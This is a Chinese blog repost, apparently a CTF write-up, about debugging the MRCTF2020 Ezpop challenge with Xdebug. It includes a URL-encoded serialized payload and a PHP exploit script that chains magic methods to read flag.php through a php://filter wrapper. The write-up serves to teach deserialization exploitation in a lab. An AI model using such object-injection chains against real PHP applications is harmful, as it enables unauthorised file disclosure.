ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

尝试调试[MRCTF2020]Ezpop代码

2022-01-26 21:01:37  阅读:190  来源: 互联网

标签:xdebug 22% 3A% source Ezpop str public 调试 MRCTF2020


安装Xdebug通过vscode调试

参考:https://www.cnblogs.com/phonecom/p/10340038.html#/c/subject/p/10340038.html

配置Xdebug文件时去掉分号

[XDebug]
xdebug.profiler_output_dir="H:\phpstudy2016\tmp\xdebug"
xdebug.trace_output_dir="H:\phpstudy2016\tmp\xdebug"
zend_extension="H:\phpstudy2016\php\php-5.4.45\ext\php_xdebug.dll"
xdebug.remote_enable = 1
xdebug.remote_autostart = 1
xdebug.remote_handler = "dbgp"
xdebug.remote_port = "9001"
xdebug.remote_host = "127.0.0.1"
xdebug.remote_autostart = 1

题解参考

https://blog.csdn.net/weixin_43952190/article/details/106016260

http://t.zoukankan.com/yunqian2017-p-13817032.html 

先将

O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bs%3A0%3A%22%22%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D

传入,尝试调试。

 

 进入wakeup()函数

 

 即wakeup()在用unserialize()时触发。

在wakeup中,要通过perg_match()将$this->source做字符串比较,若this->source是show类,调用toString()方法。

然后进入toString():当一个对象被当作一个字符串被调用

 

 若是toString()中str赋值为一个实例化Test类,Test中无source属性,则调用get()方法:从不可访问的属性读取数据

$a->str=new Test();

 

 

 如果get()中p赋值为Modifier类,相当于Modifier类被当作函数处理,调用invoke()方法:尝试将对象调用为函数时触发。

$a->str->p=new Modifier();

 

 

 再来看一下exp代码

<?php
class Modifier {
protected $var='php://filter/read=convert.base64-encode/resource=flag.php' ;

}

class Show{
public $source;
public $str;
public function __construct($file){
$this->source = $file;
}
public function __toString(){
return "karsa";
}
}

class Test{
public $p;
}

$a = new Show('aaa');
$a->str = new Test();
$a->str->p = new Modifier();
$b = new Show($a);
echo urlencode(serialize($b));
?>

修改代码

class Show{
    public $source;
    public $str;
    public function __construct($file){
    $this->source = $file;
    echo var_dump($this->source);
    }
    public function __toString(){
        return "karsa";
    }
}

 

object(Show)[1]
  public 'source' => string 'aaa' (length=3)
  public 'str' => 
    object(Test)[2]
      public 'p' => 
        object(Modifier)[3]
          protected 'var' => string 'php://filter/read=convert.base64-encode/resource=flag.php' (length=57)

 

 可发现在执行$b=new Show($a)后,$this->source是Show类,$this->source->source="aaa",this->source->str是Test类,且无source属性。this->source->str->p为Modifier()

 

标签:xdebug,22%,3A%,source,Ezpop,str,public,调试,MRCTF2020
来源: https://www.cnblogs.com/coxq/p/15848110.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有